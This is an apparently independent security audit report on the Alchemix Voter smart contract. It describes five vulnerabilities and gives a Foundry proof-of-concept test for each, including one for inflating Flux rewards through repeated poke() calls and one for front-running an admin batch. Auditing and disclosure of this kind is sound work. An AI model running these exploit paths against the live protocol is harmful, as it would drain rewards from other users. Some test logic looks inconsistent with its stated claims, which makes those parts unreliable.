

Cover Page

Security Review Report

Protocol: Alchemix Voter Contract

Auditor: Hari

Date: June 2026

Github Link : <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Disclaimer

This review was conducted independently for research and portfolio purposes and was not commissioned by the protocol.

Table of Contents

1. [Executive Summary](#)
2. [Scope](#)
3. [Methodology](#)
4. [Findings Summary](#)
5. [Detailed Findings](#)
6. [Conclusion](#)

Executive Summary

Overview

This review assessed the security of the Alchemix Voter Contract responsible for governance voting and reward distribution

Audit Statistics

Contracts - Reviewed 1

Lines of Code - 450 to 500

Duration - 3 Days

High Findings - 4

Medium Findings - 1

Scope

Contracts Reviewed

Contract - Voter.sol

Methodology

The review was performed using:

Manual Review

Line-by-line analysis of contract logic.

Access Control Analysis

Verification of privileged functions and role restrictions.

State Transition Analysis

Review of state changes and storage consistency.

Economic Analysis

Evaluation of reward distribution and incentive mechanisms.

Edge Case Testing

Analysis of unusual user behavior and protocol states.

Findings Summary

High - 1

Title : Unlimited Flux Reward Accrual due to Missing Epoch Restriction in `poke()`

High - 2

Title : Incorrect Boost Handling in `poke()` Resets Previous Boost to Zero

High - 3

Title : Rewards Can Still Accrue for Killed Gauges due to Missing Validation in `updateFor()`

High - 4

Title : Delayed Reward Distribution due to Incorrect Ordering of `updatePeriod()` in `distribute()`

Medium - 1

Title : Admin `pokeTokens()` Can Be Blocked via Front-Running `reset()` (Epoch Restriction Conflict)

Detailed Findings

Title [H - 1] : Unlimited Flux Reward Accrual due to Missing Epoch Restriction in `poke()`

Summary

The protocol allows users to call `poke()` multiple times within the same epoch, which leads to repeated reward updates.

This happens because `poke()` does not enforce the `onlyNewEpoch` restriction like the `vote()` function. As a result, users can repeatedly trigger reward logic and accumulate more Flux tokens than intended.

This breaks the reward distribution logic and allows inflation of rewards.

Root Cause

In `Voter.sol`, the function `poke()` does not include the `onlyNewEpoch` modifier.

However, the `vote()` function enforces this restriction, ensuring voting actions can only happen once per epoch.

The issue is that `poke()` internally calls `_vote()` again using existing votes:

```
_vote(_tokenId, _poolVote, _weights, _boost);
```

Since there is no epoch restriction:

The same voting state is reused Reward logic is triggered again Flux rewards are accumulated multiple times

This breaks the assumption that voting-related reward updates should only happen once per epoch

Attack Path

The issue can be exploited as follows:

1. Attacker creates a veNFT (tokenId)
2. Attacker calls vote() once (valid action within epoch)
3. Rewards (Flux) are initialized correctly
4. Attacker repeatedly calls poke(tokenId) within the same epoch
5. Each call re-triggers _vote() logic
6. Flux rewards are updated again and again
7. Attacker accumulates more rewards than intended

Impact

This vulnerability leads to:

Direct impact: Unlimited or excessive Flux token rewards Affected users: Protocol treasury / reward pool (inflation affects all users) Exploitability: Easy (no special conditions required) Repeatability: Yes, can be looped many times in a single epoch

Severity reasoning:

This should be considered High because:

It directly affects reward distribution Allows inflation of protocol tokens Can be exploited repeatedly with minimal effort Breaks core voting and reward logic assumptions

Proof of code

```

function testEpochcallingAgainandAgain() public {

    address user = address(0x123);

    // Step 1: Create veNFT for user
    uint256 tokenId = createVeAlcx(user , TOKEN_1, MAXTIME, false);

    hevm.startPrank(user);

    // Step 2: Prepare voting data
    address[] memory pools = new address[](1);
    pools[0] = a1ETHPool;

    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    // Step 3: User votes (restricted by epoch - works correctly)
    voter.vote(tokenId, pools, weights, 0);

    // Step 4: Check initial balances
    uint256 fluxBalance = flux.balanceOf(user);
    console2.log("Initial user's fluxBalance:", fluxBalance);

    uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
    console2.log("Initial user's unclaimedFlux:", unclaimedFlux);

    // Step 5: Repeatedly call poke() within same epoch
    for (uint8 i = 0; i < 5; i++){
        // ⚠ No epoch restriction here
        // Each call re-triggers reward logic
        voter.poke(tokenId);
    }

    hevm.stopPrank();

    // Step 6: Check balances after exploit
    uint256 afterPokefluxBalance = flux.balanceOf(user);
    console2.log("After poke user's fluxBalance:", afterPokefluxBalance);

    uint256 afterPokeunclaimedFlux = flux.getUnclaimedFlux(tokenId);
    console2.log("After poke user's unclaimedFlux:", afterPokeunclaimedFlux);

    // 📊 Result:
    // Flux rewards increase multiple times without waiting for a new epoch
    // This demonstrates reward inflation
}

```

Result: User receives more Flux than intended Rewards increase with each poke() call No epoch boundary is enforced

Recommended Mitigation

To fix this issue:

Add the `onlyNewEpoch` modifier to the `poke()` function

Title [H - 2] :Incorrect Boost Handling in poke() Resets Previous Boost to Zero

Summary

The `poke()` function is intended to reuse the previous voting configuration, including the boost value.

However, instead of using the existing boost, the function resets `_boost` to 0. This contradicts the intended behavior mentioned in the code comments.

As a result, users lose their previously applied boost when calling `poke()`, leading to incorrect reward calculations and broken voting behavior

Root Cause

In `Voter.sol`, inside the `poke()` function:

```
uint256 _boost = 0;
```

The comment states:

```
// Previous boost will be taken into account
```

However, no logic exists to fetch or reuse the previously applied boost.

Then `_vote()` is called:

```
_vote(_tokenId, _poolVote, _weights, _boost);
```

This means:

Previous boost is ignored Boost is always reset to zero Voting state is partially reconstructed (weights reused, boost lost)

This creates inconsistent behavior between expected and actual logic.

Attack Path

This issue can be triggered as follows:

User votes with a non-zero boost Boost is applied correctly during `vote()` Later, user calls `poke()` to refresh votes `_boost` is set to 0 instead of previous value `_vote()` is called with incorrect boost User's voting power are reduced

Impact

This vulnerability leads to:

Direct impact: Incorrect reward calculation due to missing boost Affected users: All users who rely on `poke()` to maintain voting state Exploitability: Not attacker-driven, but affects normal user behavior Repeatability: Yes, happens every time `poke()` is used

Proof of code

```

function testBoostreset() public {

    uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

    hevm.startPrank(admin);

    address[] memory pools = new address[](1);
    pools[0] = aLETHPool;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    uint256 fluxAccessible = veALCX.claimableFlux(tokenId) + flux.getUnclaimedFlux(tokenId);

    voter.vote(tokenId, pools, weights, fluxAccessible - 4);

    assertEq(flux.getUnclaimedFlux(tokenId), 4);

    voter.poke(tokenId);

    hevm.stopPrank();

    assertEq(flux.getUnclaimedFlux(tokenId), 4);

}

```

Recommended Mitigation

Retrieve the previous boost inside `poke()`

Title [H - 3] :Rewards Can Still Accrue for Killed Gauges due to Missing Validation in `updateFor()`

Summary

The protocol allows rewards to be updated for gauges that have already been killed by the admin.

This happens because `updateFor()` does not check whether a gauge is still active before calling `_updateFor()`.

As a result, users can continue to accrue rewards from inactive (killed) gauges, leading to incorrect reward distribution.

Root Cause

In `Voter.sol`, the function:

```

function updateFor(address[] memory _gauges) external {
    for (uint256 i = 0; i < _gauges.length; i++) {
        _updateFor(_gauges[i]);
    }
}

```

There is no validation to check whether the gauge is still alive.

Even after the admin calls:

`killGauge(gauge)`

The gauge can still be passed into `updateFor()`.

Because of this:

`_updateFor()` continues processing rewards Killed gauges still accumulate claimable rewards The system does not respect the “killed” state

Attack Path

The issue can be exploited as follows:

User votes for a valid gauge Admin kills the gauge using `killGauge()` Gauge is expected to stop reward distribution Time passes to next epoch Rewards are distributed User calls `updateFor()` with the killed gauge `_updateFor()` updates rewards without checking status User accrues rewards from a dead gauge

Impact

This vulnerability leads to:

Direct impact: Users receive rewards from inactive gauges Affected users: Protocol reward pool / other participants (reward imbalance) Exploitability: Easy (any user can call `updateFor()`) Repeatability: Yes, can be repeated across epochs

Proof of code

```

function testAfterkillguagestillclaim() public {

    address user = address(0x123);

    // Step 1: Create veNFT
    uint256 tokenId = createVeAlcx(user, TOKEN_1, MAXTIME, false);

    hevm.startPrank(user);

    // Step 2: Vote for a gauge
    address[] memory pools = new address[](1);
    pools[0] = aETHPool;

    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    voter.vote(tokenId, pools, weights, 0);

    hevm.stopPrank();

    // Step 3: Initially no rewards
    assertEq(voter.claimable(aETHPool), 0);

    // Step 4: Admin kills the gauge
    hevm.startPrank(admin);
    voter.killGauge(voter.gauges(aETHPool));
    hevm.stopPrank();

    // Step 5: Move to next epoch
    uint256 period = minter.activePeriod();
    hevm.warp(period + nextEpoch);
    hevm.roll(block.number + 1);

    // Step 6: Distribute rewards
    voter.distribute();

    // Step 7: User updates rewards for killed gauge
    address[] memory gauges = new address[](1);
    gauges[0] = aETHPool;

    hevm.startPrank(user);

    // ⚠ No check if gauge is alive
    voter.updateFor(gauges);

    // Step 8: Rewards are still accrued
    assertGt(voter.claimable(aETHPool), 0, "No rewards accrued");

    hevm.stopPrank();

    // 🏁 Result:
    // Rewards are incorrectly assigned to a killed gauge
}

```

Recommended Mitigation

To fix this issue:

Add a validation check before calling `_updateFor()`

Title [M-1] : Admin `pokeTokens()` Can Be Blocked via Front-Running `reset()`

(Epoch Restriction Conflict)

Summary

The `pokeTokens()` function allows the admin to batch process tokenIds and reset expired positions before calling `pokeTokens()`.

However, since `reset()` is restricted by an `onlyNewEpoch` modifier, a user can front-run and call `reset()` first. This causes the admin's later call to revert due to the epoch restriction.

As a result, the admin's batch operation can be blocked entirely, leading to a denial of service (DoS) on protocol maintenance actions

Root Cause

In `pokeTokens()`:

```
if (block.timestamp > IVotingEscrow(veALCX).lockEnd(_tokenId)) {
    reset(_tokenId);
}
```

The function assumes `reset()` can always be called when needed. However, `reset()` is protected by an `onlyNewEpoch` modifier.

This creates a conflict:

If a user already called `reset()` in the current epoch, the admin's call to `reset()` will revert.

Because the call is inside a loop:

A single revert breaks the entire `pokeTokens()` execution.

Attack Path

The issue can be exploited as follows:

Users create veNFTs and vote normally. Admin prepares to call `pokeTokens()` for multiple tokenIds. Before admin executes, a user front-runs and calls `reset(tokenId)`. Now `reset()` has already been used in the current epoch. Admin calls `pokeTokens()`. Inside the loop, `reset(tokenId)` is called again. Transaction reverts due to `onlyNewEpoch` restriction. Entire admin operation fails.

Impact

This vulnerability leads to:

Direct impact: Admin operations can be blocked. Affected users: Entire protocol (maintenance actions fail). Exploitability: Easy (any user can front-run). Repeatability: Yes, can be repeatedly triggered.

Proof of code

```

function testStopAdminaction() public {

    address user = address(0x123);

    // Step 1: User creates veNFT and votes
    uint256 tokenIduser = createVeAlcx(user, TOKEN_1, MAXTIME, false);

    hevm.startPrank(user);

    address[] memory pools = new address[](1);
    pools[0] = aETHPool;

    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    voter.vote(tokenIduser, pools, weights, 0);
    hevm.stopPrank();

    // Step 2: Another user setup
    address user1 = address(0x801);

    uint256 tokenIduser1 = createVeAlcx(user1, 1e18, MAXTIME, false);

    hevm.startPrank(user1);

    address[] memory pools1 = new address[](1);
    pools1[0] = aETHPool;

    uint256[] memory weights1 = new uint256[](1);
    weights1[0] = 5000;

    voter.vote(tokenIduser1, pools1, weights1, 0);
    hevm.stopPrank();

    // Step 3: User front-runs reset()
    hevm.startPrank(user);
    voter.reset(tokenIduser);
    hevm.stopPrank();

    // Step 4: Admin prepares batch operation
    uint256[] memory tokenIds = new uint256[](2);
    tokenIds[0] = tokenIduser;
    tokenIds[1] = tokenIduser1;

    // Step 5: Admin call fails
    hevm.startPrank(admin);

    // ❌ Reverts because reset() already called this epoch
    hevm.expectRevert(abi.encodePacked("TOKEN_ALREADY_VOTED_THIS_EPOCH"));
    voter.pokeTokens(tokenIds);

    hevm.stopPrank();

    // Result:
    // Admin cannot execute batch operation due to user front-running
}

```

Recommended Mitigation

without revert contunie would be best option to allow admin to process other tokenIds even if one reset() call fails due to epoch restriction.

Title [H -4] : Delayed Reward Distribution due to Incorrect Ordering of `updatePeriod()` in `distribute()`

Summary

The `distribute()` function updates rewards for gauges and only calls `updatePeriod()` at the end.

Because of this order, the first distribution after an epoch does not include newly minted rewards. As a result, users must wait an extra epoch cycle before rewards become claimable.

This creates a delay in reward distribution and breaks expected timing for users.

Root Cause

In `distribute()`:

```
for (uint256 x = start; x < finish; x++) {
    if (isAlive[gauges[pools[x]]]) {
        _distribute(gauges[pools[x]]);
    }
}
```

`IMinter(minter).updatePeriod(); _distribute()` is executed before calling `updatePeriod()` However, `updatePeriod()` is responsible for updating the reward state (new emissions)

Inside `_distribute()`:

```
uint256 _claimable = claimable[_gauge];
```

Since the period is not updated yet:

`_claimable` does not include newly generated rewards Rewards are effectively “missed” in the first call

Only after `updatePeriod()` runs will the rewards be reflected — but too late for the current distribution cycle.

Attack Path / Scenario

This is not an attacker exploit, but a protocol logic issue:

User votes and participates normally Epoch ends `distribute()` is called `_distribute()` runs before new rewards are updated claimable is still zero `updatePeriod()` runs afterward Rewards become available only in the next distribution call User experiences delayed rewards

Impact

This issue leads to:

Direct impact: Rewards are delayed by one full cycle Affected users: All users expecting timely rewards Exploitability: Not exploitable, but affects normal usage Repeatability: Happens every cycle

Proof of Code

```

function testUpdateformakeclaimlate() public {

    address user = address(0x123);

    // Step 1: Create veNFT and vote
    uint256 tokenIduser = createVeAlcx(user, TOKEN_1, MAXTIME, false);

    hevm.startPrank(user);

    address[] memory pools = new address[](1);
    pools[0] = aLETHPool;

    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    voter.vote(tokenIduser, pools, weights, 0);
    hevm.stopPrank();

    // Step 2: Initially no rewards
    assertEq(voter.claimable(aLETHPool), 0);

    uint256 period = minter.activePeriod();

    // Step 3: First distribution (expected reward, but none)
    hevm.warp(period + nextEpoch);
    hevm.roll(block.number + 1);
    voter.distribute();

    assertEq(voter.claimable(aLETHPool), 0); // ❌ still zero

    // Step 4: Second distribution (now rewards appear)
    hevm.warp(period + nextEpoch);
    hevm.roll(block.number + 1);
    voter.distribute();

    assertGt(voter.claimable(aLETHPool), 0);

    // Step 5: Next cycle resets again
    hevm.warp(period + nextEpoch);
    hevm.roll(block.number + 1);
    voter.distribute();

    assertEq(voter.claimable(aLETHPool), 0);
}

```

Recommended Mitigation

To fix this issue:

Move `updatePeriod()` to the beginning of `distribute()`:

Conclusion

This report documents an independent security review of the Alchemix Voter Contract performed for research and portfolio purposes.

The review covered voting mechanisms, reward distribution logic, access control, and potential attack surfaces within the contract.